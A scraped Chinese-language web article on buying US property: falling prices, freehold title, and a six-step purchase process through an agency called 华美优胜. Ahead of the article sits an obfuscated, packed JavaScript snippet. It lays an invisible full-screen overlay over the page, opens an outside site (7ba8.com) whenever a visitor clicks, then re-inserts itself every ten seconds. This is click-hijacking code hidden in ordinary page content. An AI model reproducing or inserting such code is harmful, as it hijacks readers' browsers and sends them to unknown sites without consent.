<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>峰回路转，自从美国金融危机后，美国房产在2013年又开始起死回生，而且对很多人来讲，现在正是投资美国房产的好时机。对国内朋友来讲，美国房产是私有财产，而且产权是永久性的。
对于想投资美国房产的朋友来讲，现在美国房产价格位于底部，多数地区的房价给投资者带来了良机。美国是私有财产制，房屋的买卖包括土地，产权是永久性的。此外，美国法律规定，居住在美国的家庭，其子女可以免费就读美国的公立小学、初中和高中……对比国内高企的房价，投资美国房产成了许多家庭新的投资方式。但是购置美国房产的手续、流程及注意事项是要清楚的。
购置美国房产流程知多少?
(一)通过国内海外置业代理公司购买美国房产主要流程
第一步：选择物业
客户根据自己的需求选择适合的项目并从中挑选适合的单元。华美优胜美国房产公司顾问会向客户提供项目的详细介绍，包括周边环境、投资价值等。
第二步：确认物业可售
华美优胜公司顾问将代表客户联络美国开发商确认该房产仍可售。如遇房产已被预订或已售的情况，华美优胜美国房产公司顾问将继续帮助客户挑选满意的物业。
第三步：签订购买协议并交付定金
客户签订购买协议，并支付一定比例房款的作为定金，以人民币形式汇到代理公司账户;协议传真给美方开发商，开发商签署协议后，购买协议即生效。
第四步：美国产权保险公司介入
由美国知名且信誉良好的产权保险公司为客户进行一系列服务，包括美国房产所有权审查、文档审阅、房地产历史记录审查、开设委托帐户、款额分派、产权保证保险、产权转移手续和产权政府登记。产权公司需要向客户提供的文件有：产权承诺书，表明标的美国房产项目的产权情况已经调查清楚，产权公司可以提供产权保险;产权保险，产权公司提供产权保险，如日后发生产权纠纷的情况，产权公司按照条款给与理赔。
第五步：产权转移
产权保险公司通知交割细节，包括寄送产权转移文件的时间、客户交付房款的时间等。客户在指定时间将全额房款以美金形式汇至美国产权保险公司指定的监管帐户，到帐后，代理公司将先前预收的定金全额退还给客户。同时美国产权保险公司将全部产权转移文件寄于代理公司，由其通知见证客户签署文件;代理公司将此文件回寄至美国产权保险公司，由其负责开发商回签。产权公司在产权转移后，负责房款的分配。
第六步：政府登记备案
美国实行的是契约登记制度，美国房产登记是美国房地产管理的一项基本制度，房地产登记主要起公示作用和作为政府收税的基础。美国产权公司将政府登记的文件及客户产权文件寄至代理公司，由其转交客户。 |
收藏